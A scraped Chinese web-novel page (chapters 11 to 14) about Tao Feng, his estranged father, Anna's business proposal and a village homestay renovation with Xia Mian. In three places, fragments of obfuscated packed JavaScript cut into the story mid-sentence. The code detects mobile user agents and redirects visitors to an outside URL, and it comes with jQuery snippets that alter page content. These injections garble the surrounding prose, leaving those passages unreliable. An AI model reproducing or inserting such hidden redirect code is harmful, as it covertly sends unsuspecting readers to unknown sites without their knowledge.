“你在说什么梦话。”陶风的声音冷得像冰，“十一年前你抛弃我们的时候，就该知道我们和你已经断绝了血缘关系。” 记忆突然被拉回十一年前的夏天。 十八岁的他抱着哭得上气不接下气的陶浔，站在客厅门口，五岁的陶浔什么也不懂，只知道爸爸要离开他们，一声一声地喊着“爸爸”，妈妈李媛把财产分划表丢给他，眼里全是恨意，没有一丝挽留。 陶野，他的父亲，头也不回地钻进一辆黑色的车里，副驾驶上的女人正是那个帮陶野拉人脉的秘书。 那天，他抱着妹妹站在黑夜里，第一次尝到绝望的滋味。 他刚离开的那几年，他和李媛还有陶浔的生活过得并不好。 李媛做两份工作，白天在食品公司上完八个小时的班，晚上还要兼职做培训班的舞蹈老师。陶风那时候刚考上大学，他申请了助学贷款，课余时间去做家教，他还帮李媛兼职的舞蹈机构发传单，攒下的钱全用来给陶浔买补品和玩具。 陶浔小时候营养不良，体质一直不好，每次一感冒都要病很久，李媛总在夜里抱着她去医院打针，他看着疲惫的李媛和瘦弱的陶浔心里像被针扎一样疼。 陶野在洛杉矶开公司的消息，是他在图书馆的财经杂志上看到的。封面上的陶野西装革履，意气风发，早没了半分当年炒茶卖茶的落魄影子。 “我知道你恨我。”陶野的语气沉了沉，“但我也给足了你们娘仨的赡养费。你放不下的那些都是过去的事，人要往前看，我现在能给你的最好的东西，而这是你在农科院辛苦一辈子都得不到的。” “你的东西太脏，我要不起。”陶风盯着他，眼神里的寒意几乎要溢出来，“当年你用我妈的积蓄、用她娘家的人脉跟那个女人合伙创业开公司，现在倒有脸来安排我的人生？” 11. 第十一章 第十一章 “你怎么说话呢!”陶野的声音陡然拔高，引得旁边几人纷纷侧目，“我是生你养你的父亲!难道我还没有资格管你?” 陶风嗤笑一声：“我没有你这样的父亲。”说完转身要走，胳膊却被陶野抓住，“只要你答应跟我去洛杉矶，我可以继续给李媛补偿。” “放开！”陶风用力甩开他的手，肩膀传来一阵刺痛，他压制着内心的怒火，“她不需要你的补偿，她靠自己的双手把我和小浔养大，她活得比你体面。你离她远点，别脏了她的好日子！” 陶风留下这番狠话，毫不犹豫地离开宴会，刚到电梯门口，二叔追了上来。 “小风，别跟你爸置气，他也是……” “二叔，”陶风停下脚步，“我和他之间早就没什么好说的了，请你也不要插手我和他的事。” 二叔深知陶风的脾气，只好无奈地叹了口气。 “至少喝杯喜酒再走，不然你爷爷奶奶会在外人面前念叨李媛没把你教好。” 自从李媛和陶野离婚，陶家人便减少了和李媛的来往。爷爷奶奶思想封建，认为自己儿子婚姻破裂全是李媛导致的，不怪陶野出轨。 因此，十一年前陶风就决定了，他和妹妹除了姓陶之外，和陶家人不再有任何关系。但现在，宴里还有表妹夫的家人在，顾虑到李媛在外人眼里的名声，陶风答应就只待一会儿。 表妹穿着大红色喜服走过，身后跟着几个蹦蹦跳跳讨喜糖的小孩子。 他想起很多很多年前的父亲和母亲，他们两个也有过一段恩爱的时光，只是那些模糊的温暖，早在无数个母亲躲在阳台偷偷哭泣的夜晚，慢慢消失殆尽。 裤兜里的手机“嗡”了几声，陶风掏出来看，是夏绵发来的消息，附带一张照片。 青花瓷碗里的番茄牛腩冒着热气，上面还撒着翠绿的葱叶，配文是“今晚的晚饭是姥姥指导 我做的，我尝着味道比你做的差远了，你回来要教教我，我觉得我也有成为大厨的可能。” 陶风盯着照片看了很久，冰冷的脸色慢慢柔和下来，他手指一滑，在键盘上敲下两个字：“等我。” 宴会刚进行到吃饭环节，陶风不愿和那些亲戚维持表面的和平，于是起身往外走。 穿过酒店旋转门时，晚风带着凉意吹过来，让他混沌的脑子清醒了些。 身后一道冷艳的女声传来：“陶风先生，等等我。” 陶风回头见是Anna，皱着眉问：“有事？” “我刚到国内，对这里不熟。”Anna手里转动着车钥匙，姿态慵懒道：“导航说我住的公寓离这不远，但我看不懂路标，全都是中文的，你能送我一程吗？” 她的目光落在他的肩膀上，带着毫不掩饰的探究：“刚刚，你好像受伤了?需要我帮你叫医生吗?我认识市中心医院的院长。” “我叫代驾送你，他会说英文。” “代驾哪有你靠谱。”Anna耸肩一笑，她笑起来的时候，眼角的泪痣格外醒目，带着一股野性的美。 “我父亲和你父亲是生意伙伴，我们两家合作很多年了，万一我在屿城出了什么事，负责任的可就是你们陶家人。” 见陶风有所犹豫，她转身走向停在路边的红色玛莎拉蒂，打开副驾驶车门，“上车吧，不会耽误你太久，十几分钟就到。” 陶风看着手机里夏绵发来的笑脸表情包，又看了眼Anna不容拒绝的背影，最终弯腰坐进了 后座。 车驶离酒店时，他回头望了眼灯火辉煌的宴会厅。 那里的人情和热闹与他无关，倒是夏绵照片里那碗冒着热气的番茄牛腩，在脑海里越来越清晰。 夏绵给的有着烟火气的温暖，是他此刻最想抓住的东西。 红色的玛莎拉蒂行驶在晚高峰的车流里，车厢里弥漫着Anna身上的香水味，是冷冽的木质香，这味道和她给别人留下的印象一样，高贵又强势。 陶风靠在后座，看着窗外掠过的霓虹，一言不发。 “你好像很讨厌你父亲。”Anna突然开口，她握着方向盘的那只手上戴着闪耀的黄色钻石，火彩光芒在夜色里格外醒目。 陶风掀起眼皮抬头看了她一眼：“与你无关。” “怎么会无关？”Anna轻笑一声，打了转向灯变道，“你父亲和我父亲打算让我和你订婚，你父亲让你年底去洛杉矶见家人，他们还说最好明年就生个孩子，这样能巩固两家的合作。” 陶风的眉头皱得更紧，在心里骂了句脏话。 “我不同意。” “我也没打算同意。”Anna的语气带着嘲讽，“我父亲想让我嫁个和自家门当户对的男人，这样好帮他拓展亚洲市场，而你父亲想让你娶个在美国有背景的女人，好给他的公司铺更长的路。说白了，我和你都是他们生意场上的棋子而已。” 车驶过一座白色的网红桥，桥下的海水在月光和霓虹灯的照耀下泛着粼粼波光，海岸边聚集了一群拍照打卡的游客，热热闹闹，熙熙攘攘。 Anna突然把车拐进路边的停车场，熄了火：说了句：“到了。” 陶风看了看窗外的商业区，都是还未开发好的商铺，没有一点居民楼的影子。 “你住这里？” “我家有我后妈安排的佣人，名为照顾实为监视。” Anna解开安全带，侧身看着他，“所以我们只能在这儿聊。” 她从车上的储物格里拿出一个文件夹，递给了陶风。 “我找你，不是为了谈怎样结婚生孩子，我是想跟你谈合作。” 陶风接过文件夹，翻开一看，里面是化妆品公司的注册资料和产品企划书，还有一份详细的市场调研报告。 “两年前，我父亲让我去S市管理分公司，我没去，拿着他给的启动资金，在屿城开了家化妆品公司。” Anna解释道：“我的品牌主打纯天然成分，可惜因为我不懂国内市场规则，供应链出了问题，资金链也断了，我只好暂时将公司关门。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084734|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陶风翻到企划书的核心部分，上面写着“以茶养肤”，下面附着详细的配方研发计划，从茶多酚提取到临床试验，标注得清清楚楚。 “你想做茶类护肤品？”陶风问。 “准确地说，是想以‘茶’为核心，做高端护肤品牌。” 陶风合起文件夹：“我是搞茶研究的，不是搞化妆品的。” “但你懂茶。” Anna的语气很坚定，“你知道哪种茶叶的提取物最有效，知道怎样与茶农合作才能保证原料纯度，你甚至知道如何用科学数据说服消费者，而这些都是我所不懂的。” 她从包里拿出个U盘，放在文件夹上：“这是之前公司的客户数据和供应商名单，公司虽然关门但我也积累了不少资源。我可以负责市场运营和资金筹备，你负责技术研发和原料供应，我们联手，做一个真正属于自己的品牌，自己创业不比做父辈的棋子强？” 陶风接过U盘，眼神微微一凝，似乎在思索着什么。 “你觉得我在骗你？” Anna猜到他的心思，嘴角勾起一抹冷笑，“我是没在国内长期生活过，也没结交过什么权贵，但我在美国读完了MBA，在华尔街金融巨头集团实习过，我知道怎么把一个想法变成赚钱的生意。” 她指着企划书上的一行字：“你看这里，我计划和茶研所合作建立实验室，用你的研究成果做GS，据我所知，你的老师孔教授在美国农业界的声望高到就连美国华人集团的掌权人都要给三分面子，有他站台，我们的融资会顺利很多。” 意识到Anna对自己的信息了如指掌，陶风开始疑惑不安：“你调查我？” “知己知彼，才能更好合作。”Anna耸耸肩，姿态坦然，“我知道你在国内权威平台发表过几篇核心期刊论文，我也知道你研发的茶叶保鲜技术被两家上市公司轮番争抢，我更知道你拒绝了你父亲去美国的邀请。陶风，你比我想象得有骨气，也更有价值。” “所以呢？”陶风开口，“我为什么一定要跟你合作？” 终于等来了这个质问，Anna看着他的眼睛，扬了扬眉，一字一句道：“因为十一年前，你父亲陶野在洛杉矶住着海景别墅还和他的秘书办了一场极其夸张的结婚典礼，而你的母亲，为了抚养你和你妹妹，只好忍气吞声接受陶家人对她的诋毁。你长大成人，做着一份受人尊敬的体面工作，却没想到在陶野眼里，你们过得还是照样不好。” Anna的话像一根刺，精准地刺中陶风内心最深处的尊严。 “你甘心吗？”Anna问：“你难道不想站得比他高？难道不想让他看看，没有他，你照样能活得很好，甚至更好？” 陶风陷入许久的沉默里，车厢里安谧到只有冷气轻微的运作声。 过了很久，陶风才回她，声音很低：“我需要时间考虑。” “两周。”Anna从包里拿出张名片递给他，语气不容反驳：“这是我的私人手机号，你想通了就打给我，我随时等候。” 12. 第十二章 第十二章 陶风回到家，电梯门刚打，他就闻到了鲜椒炒鸡的香味。 “哥回来啦！”陶浔打开家门，脸上还沾着面粉，开心地说：“咱妈今天做了我最爱吃的鸡和你最爱吃的鱼！” “小风回来啦！快洗手吃饭。” 听见兄妹俩的声音，李媛从厨房出来，手里端着一盘酱香小排，“看你瘦的多厉害，又没好好吃饭吧？” 饭桌上摆满了佳肴，都是陶风和陶浔爱吃的家常菜。 家政阿婆端来做好的海鲜汤，笑着说：“我和你妈从下午就开始忙活，这段时间，你在乡下忙研究，小浔忙考试，可得给你俩好好补补身体。” “阿婆您也一起吃啊。”陶风接过托盘里香气扑鼻的汤放在桌上。 “不了不了，我孙女在家等我呢。”阿婆摆摆手，“你们一家三口肯定有很多话想说，我就不打搅了。” 陶风刚给李媛盛了一碗汤，陶浔就拿着试卷跑过来，拍在他面前：“哥你看！我数学考一百一十一！上一百了！老师都说我进步很大！” “不错。”陶风看着试卷上的红圈圈，内心颇感欣慰。要知道，陶浔偏科严重，她平时数学只能考八九十，这次期末却考了一百多，可见这小孩真的对数学下了一番苦功。 “你想要什么奖励？” “我想跟你去东岚村！”陶浔的眼睛倏地睁大，双手托腮看着他，“自从上次去过一次后，我对东岚村简直念念不忘！我想体验茶园的环境，想跟着夏绵姐姐学炒茶，还想尝尝东岚村的美食！” “你不是说暑假里要妈妈教你跳舞吗？” “不学了。”李媛给陶浔夹了个鸡腿，“她跟着你去乡下长长见识，体验体验茶乡生活，我觉得挺好。十几岁的年纪啊就应该多出去看看，不要总想着学这个学那个，人的生活要多姿多彩，不能只有“学习”这一件事可做。” “咱妈都支持我了，哥你就答应我嘛！”陶风拽着他的胳膊晃，“夏绵姐姐的直播我每期都看，我还想跟她学直播呢！或许将来我也能靠直播创个业。” 陶风看着妹妹期待的眼神，又想起夏绵发给自己的信息和那碗番茄牛腩，心里那点因为陶野和Anna而起的波澜，突然平静了下来。 “好吧，我带你去。” “太好了！”陶浔欢呼一声，拿起手机就开始查东岚村的旅游攻略，“听说那里雨水多，我要带雨伞还有草帽，对了，还得买点驱蚊花露水，夏绵姐姐在直播里说过茶园的蚊子可凶了……” 李媛笑起来：“先吃饭！你去东岚村比去迪士尼还兴奋啊。”又问陶风，“你爸那边没为难你吧？” “没有。”陶风喝了口汤，淡淡道：“咱们以后别再联系他了。” “早不联系了。”李媛撇撇嘴，“上次他给我打电话，说要给我打五百万，让我劝你去美国生活，我连腔都没搭直接给他挂了。咱不稀罕他的钱，咱娘仨在屿城过得好好的，安安稳稳得多幸福。” 陶浔突然抬头：“哥，东岚村有民宿吗？我想住夏绵姐姐家旁边，这样就能天天去茶园玩了。” “你这孩子，跟个小尾巴似的。”李媛笑着点她的额头，“上次的旅馆住得不舒服么？你去了可不能给你哥添乱，也不能打扰夏绵姐姐干活。” “知道啦！”陶浔扒拉着米饭，嘴里嘟囔着，“住在夏绵姐姐旁边，我可以和她一起直播，我还能帮她算账，我数学进步可大了……” 陶风听着妹妹叽叽喳喳的声音，看着妈妈脸上幸福的笑容，回想起陶野说得那番话，对他更加嗤之以鼻。 他拿掏出手机，Anna的名片顺带着从裤兜里掉出来，他望着上面的那串电话号码，先前整理好的思绪又一次杂乱无章地纠缠在一起。 “小风，想什么呢？吃饭啊。”李媛不停地往他碗里夹菜。 “你也吃。” 陶风最终还是放下手机，把名片塞回裤兜里，拿起筷子继续吃饭。 * 这天清晨，夏绵坐在院子里的竹凳上，和邱澜一起整理线上订单。 邱澜手里的计算器噼啪响，刚写下一行数字，她突然抬头问夏绵：“你昨天直播怎么回事？粉丝一提陶老师，你连秋茶该怎么采都说不上来。” 夏绵手里的笔顿了顿，被邱澜这么一问，回过神来发现自己把订单上的地址写得歪歪扭扭，简直形似鸡爪状似狗爬。 她把笔放下，抓起旁边的茶杯喝了口茶：“我最近一听到他名字，脑子就有点乱。” “乱？” 夏绵点点头，声音却低了些：“他帮了我很多，我总觉得该好好谢谢他，可真要见了面，又不知道该说什么。上次他因为我挨棍子的时候，我……”她没说下去，只觉得心里像塞了团棉花，堵得喘不开气。 “你这是喜欢上人家了！” 邱澜兴奋地在拍了拍夏绵带着肩膀，语气肯定，“上次我婆家的人来闹事，你拎着家伙使就冲出去跟他们吵，眼睛都不眨一下的，现在就因为一个陶老师，你话都说不利索，这不是喜欢是什么？” “不是……”夏绵想反驳，却找不到反驳邱澜的理由。 喜欢？这个词太重了，重得让她心慌。 他是农科院的人才，而她是辞职回乡没什么名气的网络博主。他懂那么多茶学知识，她就只会直播卖货，他们根本不是一个世界的人。 “是不是你自己心里最清楚。”邱澜轻轻捧着她的脸，鼓励道：“阿绵啊，你别想那么多，我们都很看好你和陶老师喔！” 邱澜走后，夏绵对着一堆订单发了半天呆，直到手机闹铃提示准备直播，她才深吸一口气，拍了拍胸口，点开直播按钮。 镜头里的她努力笑得自然，手里举着刚包装好的新茶：“今天给大家上这款东岚红，它的味道也是特别醇厚……” 直播间的弹幕很快刷起来： 【主播今天状态不对啊？】 【是不是想陶老师想得心不在焉了？】 【陶老师还没回来吗？】 “大家别乱说喔，我们就是朋友。这款茶回甘很好味道也很强烈，大家抓紧拍哟。” 【真的只是朋友吗？】 【朋友会给你做饭吃吗？】 【朋友会天天围着你转、眼睛恨不得长你身上吗？】 弹幕一串接一串，夏绵的脸一阵红一阵白，就连报价格时都带了颤音：“九十八块一斤，买两斤送主播……不对，买两斤送茶杯。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084735|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 中午直播结束时，她后背的衣服都快汗湿了。 夏绵收起手机她蹲在茶园边，看着眼前绿油油的一片，心里乱糟糟的。 下午三点，村头外的山路传来公交车的鸣笛声。 夏绵正在村口的村委会院子里打包快递，听见公交车的动静立马放下袋子往外跑，跑到一半又停下，假装低头系鞋带。 陶风带着陶浔从车上下来，陶浔一看见夏绵就喊：“姐姐！” 妹妹像只小狗似的一蹦一跳，见到夏绵就热情地自我介绍：“我叫陶浔，是陶风的妹妹，我和妈妈每天都看你的直播，我可太想喝东岚茶了！” 陶风跟在后面，手里提着两个行李箱，目光落在夏绵身上，微一颔首，算是打过招呼。 他说：“麻烦你来接我们。” “不……不麻烦。”夏绵舌头一打结，说话都有些不顺畅：“暑假一来，村里的旅馆住满了，让妹妹住在我家吧。” “住你家？”陶浔眼睛瞪得溜圆，“那太好啦！谢谢姐姐！” “不客气。”夏绵笑着揉了揉她的头发。 陶风把陶浔的行李箱搬进夏绵家空着的西厢房，出来时看见她正在给夏绵和邱云分享她从家里带过来的零食。 夏绵突然瞥见陶风正在看着自己，脸颊不由自主地发烫，终是坐不住，于是起身：“家里的酱油没了，我去王阿公的铺子里买点。” 陶浔望着夏绵离开的背影，凑到陶风耳边低声笑道：“哥，你盯得人家脸都红了。” 晚饭时，邱阿婆端来一盆鲜笋炖鸡，刚坐下就说：“最近来咱这儿玩得人是真多，我听张婆说她家的旅馆早就订满了，昨天有一对小夫妻带着孩子在村里转了半天，没找到住处，最后回镇上住去了。” “这样下去不是办法。”夏绵放下筷子，“游客来一次不容易，总不能因为没地方住就不让他们来了吧？咱们要搞搞文旅建设。” “那能咋办？村里就这一个小旅馆，还是前年才翻新的。” “我有个想法。”夏绵往前坐了坐，“姥姥，二姥，你们家那两间老屋，还有咱家东边那几间仓库，闲着也是闲着，我想把它们都收拾出来，改造成民宿。” “改民宿？”姥姥愣了下，“那老屋墙皮都掉了，梁也有点歪，能行吗？” “不用大改。”夏绵说得认真，“就刷层漆，把坏了的门窗换了，地面铺点防滑砖，家具买新的，墙上挂点炒茶的工具，床单被套印上茶树图案，整体弄成茶园风格的就行。” 说玩这些后她顿了顿，看向两位老人：“这样既省钱，又有咱东岚村的特色，游客来不就想体验茶乡生活吗？这样还能让他们住得舒服，下次肯定还会再来。” 陶风非常认可夏绵的方案，点头附和道：“我可以帮忙设计，保证房梁结构安全，通风和采光也会处理好，还有电路和水路我也能检查。” “你们俩要是觉得行，就去做。”邱云拍板，“我和你二姥年纪大了，这些新花样跟不上，也帮不上忙，老屋改造成民宿的事情就全交给你们年轻人，需要人手跟村里说一声，肯定有人乐意来帮忙。” “谢谢二老！”夏绵笑得乖巧可爱，“我们肯定弄好，到时候让你们也跟着享福！” 13. 第十三章 第十三章 吃完饭，陶风带着陶浔在厨房帮着洗碗，夏绵已经找好了老屋的钥匙，正站在院门口等他。 待陶风洗好碗出来后，夏绵率先往村东头走。 青石板路被月光晒得温热，踩上去能感觉到细微的凹凸不平。 陶风跟在夏绵身后半步，没说话，只有两人的脚步声在巷子里轻轻回响。 “老屋的钥匙你一直收着？”陶风突然开口，将沉默打破。 夏绵的脚步慢了些：“嗯，去年整理姥姥的柜子时找着的，想着说不定哪天能用，就收起来了。”她踢开脚边的一块小石子，石子滚出去很远，最后落进了池塘里，“没想到还真派上用场了。” “你的想法很好。”陶风的声音从身后传来，“民宿可以做成。” 夏绵回头看他，他正好也在看她，两人的目光撞在一起，又像被烫到似的各自转开。 夏绵的心跳突然快了几拍，慌忙低头看路：“我也是瞎想的，能不能做成还不一定。” “一定可以。”陶风又说，语气比刚才还要坚定。 走到老屋门口，夏绵把钥匙插进锁孔，试了两次才对上齿，锁芯“咔哒”一声弹开时，她手一抖，钥匙差点掉在地上。 陶风伸手接住，指腹擦过她的手背，两人都像被电流击了下，同时往回缩了缩。 “我来吧。”陶风推开门，捂住鼻子，一股混合着霉味和灰尘的气息扑面而来。 他侧身站在门框边，抬手挡在夏绵头顶上，“小心点，门框矮。” 夏绵低着头往里走，头发轻轻扫过他的手腕。 刚站稳，夏绵就听见身后传来他的声音：“我去开窗透透气。” 脚步声往屋里走，她转过身，看见陶风推开北窗，月光顺着窗棂流进来，在地上投下格子状的光影。 陶风的侧影落在墙上，肩膀挺直，衬衫下摆被风掀起一个小角。 “拿卷尺给我。”他回头说。 夏绵从包里翻出卷尺递过去，手指碰到他的掌心，又飞快收回来，往旁边退了两步，迅速转移目光，“这边的墙面有点鼓，好像受潮了。” “嗯，我们得测测墙体厚度。”陶风走过来，站在她身边，两人之间隔着不到半米的距离。 他举起卷尺的一端抵在墙上，“你帮我扶一下这边。” 夏绵伸手按住卷尺末端，两人的胳膊几乎贴在一起。 她能感觉到他呼吸的频率，不紧不慢，却像敲在她的心跳上，让她的节奏全乱了。 “五米四。”他报出数字，目光落在她手里的笔记本上，“记一下。” “哦，好。”夏绵低头写字，笔尖在纸上划出歪歪扭扭的线条，连数字都写得七倒八歪。 测到西墙时，需要两人分别站在两端。 夏绵刚站定，脚下突然踩到块松动的木板，身子一倾，手里的卷尺“哗啦”一声掉在地上，陶风伸手扶住她的胳膊，力道很轻，却很稳。 “没事吧？”他问，声音里都带着紧张。 “没事。”夏绵站稳后，赶紧抽回手，她弯腰捡卷尺的时候头发垂下来轻轻挡住了脸，正好掩饰发烫的耳根。 陶风也蹲下身，手指先碰到了卷尺，两人的手在地上撞了下，又同时缩回去。 “我来捡。”他说。 “不用……”夏绵抢着抓住卷尺，站起身时，额头差点撞到陶风的下巴。 “小心。”陶风往后仰了仰，目光落在她脸上，停留了两秒才移开开，“剩下的我来测吧，你记数字就行。” 夏绵囧了一下，意识到自己好像有点小废物，听话地点点头，拿着本子和笔退到墙边，目光不由自主地跟着陶风移动，直到陶风转过身，她才慌忙看向窗外。 怎么办啊，夏绵在心里呐喊，她和陶风独处的时候突然变得不正了。 “全都测完了。”陶风走过来，把卷尺卷好递给她，“数据记全了？” “嗯。”夏绵低头翻笔记本，不敢看他，“差不多了，回去再整理一下。” 两人往门口走，经过门槛时，她又差点被绊到，这次陶风没伸手扶，只是在她身边放慢了脚步，用胳膊肘轻轻碰了碰她的胳膊，像在提醒她小心。 走出老屋，陶风反手锁上门，钥匙递回来时，夏绵没接住，钥匙串掉在地上，叮咚一声响。 “抱歉！”夏绵赶紧弯腰去捡，陶风也同时弯下腰。 两人的额头在半空中轻轻撞了下。 “嘶——”夏绵下意识捂住额头。 “没事吧？”陶风急切地问，声音离得她很近。 “没事。”夏绵抬起头，正好对上陶风清亮的眼睛。 空气好像在一瞬间凝固，巷子里只有风吹过茶树叶的沙沙声。 夏绵听见自己的心跳在“咚咚”地响，一时之间不知道该做出怎样的反应才显得她不那么慌乱。 “时间不早了，回家吧。”陶风开口，像是突然从某种氛围里抽离，他抬手揉了揉她的头发，眼里带着宠溺。 然而夏绵的小心脏已经炸开了！ * 陶风回到旅馆时天已经完全黑了，旅馆里新来的前台小哥正趴在柜台上打盹。 他走到柜台前，手指在台面上轻叩两下，清脆的声响轻轻划破寂静的夜色。 小哥抬头，看见有人来，便抓起眼镜戴上。 眼前的男人个子很高，周身的气场很静，静得让人不敢随意搭话。 “麻烦给我一瓶啤酒。” “哎，好。”小哥连忙从身后的冰柜里拿出一瓶冰啤酒，撕开瓶口的塑封递过去。 扫码付款时，小哥忍不住多瞥了他两眼。 “先生看着面生，是过来旅游的吗？”小哥没话找话。 陶风抬眼，目光在他脸上停留半秒，又移开，语气平淡：“不是。” 回到房间，他坐在窗边的藤椅上，温柔的月光透过纱窗落在他身上，在地板上投下淡淡的影子。 他拿出平板，点开相册，目光停留在夏绵直播的截图上，他就这么静静地看着那几张截图，突然有点口渴。 于是，他拧开啤酒瓶，仰头喝了一口，冰凉的液体缓缓滑过干涩的喉咙。 * 夏绵躺在床上，手机屏幕亮了又暗。 陶风发来的微信消息“早点休息”还停留在屏幕上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084736|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方，她翻了个身，抱起枕头把脸狠狠埋在里面。 脑海里突然回响起邱澜的那句“我们都很看好你和陶老师喔”，心里更不镇定了。 是啊，她夏绵什么时候变得这么畏畏缩缩了？！ 想到这儿，她猛地坐起来，抓起手机给邱澜发微信： “我想好了，我要追陶风。” 消息发出去还没半分钟，邱澜的声音透过听筒炸过来： “你说得真的吗真的吗阿绵！” 夏绵：“是真的。” 邱澜激动得给她支招：“你听我说，先从日常关心开始，比如，时不时的给他发个早安、晚安什么的，让他习惯你的存在……” 夏绵挠挠头，“听上去……我好像个骚扰美男的女流氓啊！” “什么骚扰，这叫策略！”邱澜恨铁不成钢，“陶老师这种高冷型的年上男，你想把他拿下就得使劲发挥你的软萌可爱！只有这样才能慢慢渗透到他的生活里，让他在不知不觉中离不开你～” 挂了电话，夏绵起身对着镜子做了个鬼脸。 软萌可爱？她低头看了看自己身上的卡通T恤和印着猫猫头的短裤，怎么看都跟这四个字不搭边。 但不管怎么说，追人这件事，她是下定主意了！ 第二天一早，夏绵提着个大茶壶，直奔村委会。 陶风正在办公室整理资料，桌上摊着好几张茶园的地图，上面用红笔标着病虫害易发区域。 “早啊。”夏绵把茶壶放在桌上，“给你带了点凉茶，我自己调的，甜口的，你尝尝。” 陶风抬头看她，眼底带着点笑意：“谢谢。” “不客气。”夏绵拿起他桌上的笔，看了眼资料，“在忙呢？” “嗯，研究下防治虫害的方案。”他打开茶壶盖，一股淡淡的甘草香飘出来，“你调的？” “对啊，放了点蜂蜜和菊花，清热解暑。” 陶风倒了一杯尝了尝：“嗯，好喝。”喝完一杯后就又埋头工作。 夏绵坐在旁边的椅子上，看着他忙来忙去。 不知道看了多久，她的眼皮开始打架。昨晚没睡好，加上早上起得早，困意一阵阵袭来。她趴在桌上，头枕着胳膊，不知不觉就睡着了。 迷迷糊糊中，听见邱书记的声音：“这孩子，天天为村里的事忙，觉都睡不够。” “是啊，”另一个声音接话，是妇委会的邱四姨：“修建民宿和公路，哪样不要钱？上边批的款还没下来，她姥姥年纪又大了，秋茶采摘又忙，这段肯定累坏了。” “年轻人不容易啊，绵丫头一心一意想带着咱们村脱贫，肩上的担子重着呢。”邱书记叹了口气，“现在这世道花钱容易赚钱难。” 邱书记和邱四姨的这些话，全被陶风听在了心里。 他看着趴在桌上熟睡的夏绵，嘴角微微张着，像个没长大的孩子。 他转身走出办公室，拿出手机，拨通了Anna的电话。 “这么快就考虑好了？”手机里传来Anna的声音，背景里还有键盘敲击声。 “合作的事，我同意。”陶风说，“下周五我回市里，到时候见面详谈。” 14. 第十四章 第十四章 下午两点，村口的老槐树下聚了不少村民，大家都等着看装修队的到来。 夏绵拉着陶风刚走到树荫下，就看见一辆黑色商务车稳稳停在路边，后面还跟着好几辆印着建筑公司标志的卡车。 黑色商务车的车门打开，让两人惊讶的是，来人竟是林望！ 林望带着墨镜炫酷登场，一看见村口的夏绵，露着大白牙笑嘻嘻地招手，紧接着，林望的弟弟林愿也下了车，夏绵对这个行事作风总是很酷的弟弟有那么点印象，他穿着黑色T恤，也戴着墨镜，妥妥的小帅哥。 “林望？”夏绵揉了揉眼睛，怀疑自己看错了，“你怎么跟着建筑队一起来了？” “上次见面我不是说也想来东岚村看看吗？所以就带着装修队一起来了。” “你怎么会认识装修队？” “没想到吧？你今早联系的这家建筑公司是我家的子公司。”林望说得轻描淡写，“我家是做房地产的，这些年断断续续开了些和建筑有关的小公司。” 夏绵张了张嘴，半天没说出话。 她确实没想到。 她一直以为林望就是个普通医生，穿着白大褂救死扶伤，怎么也想不到他原来是个富家公子。 “你别误会。”林望察觉到夏绵的震惊，赶紧解释，“我对做生意没兴趣，所以从没跟任何人提起过我家是干什么的，我家的家业以后都是要交给我弟林愿的。”说着，他拍了拍林愿的胳膊，林愿下意识地往旁边躲了躲，没说话，摘下墨镜，目光扫过站在夏绵身边的陶风，眼神里带着赤裸裸的审视。 林望把手里的纸袋递给夏绵：“知道你回村后不好买零食，所以我特意给你带了些你以前在城里总吃的球酥和油酥面包，喏，刚出炉就装保温袋里了，还热乎着呢。” “你真是个大善人！” 夏绵高兴地接过纸袋，“你竟然知道我爱吃这个！” “我当然知道啦。”林望笑了笑，“你以前总说，这家的点心甜而不腻，配茶正好。”他顿了顿，又说，“民宿装修也好，后续推广也罢，你要是有需要用钱的地方，别跟我客气，随时找我借，就当我为东岚村脱贫出点力。” 废话不多说，夏绵和陶风指挥着进村，邱书记还在老屋那边候着。 邱云和几个阿婆站在路边热火朝天地讨论着民宿的事，游客们似乎注意到了这边的热闹，纷纷围过来看，有几个粉丝认出了夏绵和陶风，争先恐后地跑来要合照跟签名，邱书记趁机把民宿的事情宣传了出去，让游客们有时间再来东岚村玩。 陶浔刚才一直站在不远处，手里捏着本笔记本。 她看到林愿，脚步挪了挪，像是想上前又有点犹豫。 林愿正好转头，目光和她对上，她赶紧低下头，耳朵慢慢泛起绯红。 林愿挑了下眉，没说话，转身帮着工人卸车上的工具，只是动作比刚才慢了些，还时不时往陶浔那边瞥一眼。 陶风站在夏绵身边，微笑着和粉丝们互动，突然间听到林望和村民们交谈的声音。 他知道林望是个优秀且善良的情敌，却没想到林望在财力上的底气会如此庞大。 这种底气，是他现在给不了夏绵的。他能做的，只是帮她看看图纸，研究研究虫害防治，这些在真金白银的支持面前，好像突然变得轻飘飘的，根本没什么价值。 “你看这几个地方的承重墙，是不是要加固一下？”夏绵的声音把他的思绪拉回来，她正指着图纸上的一处标记认真地思考。 陶风定了定神，回答说：“嗯，这里确实要处理，我去跟负责人说一声。” 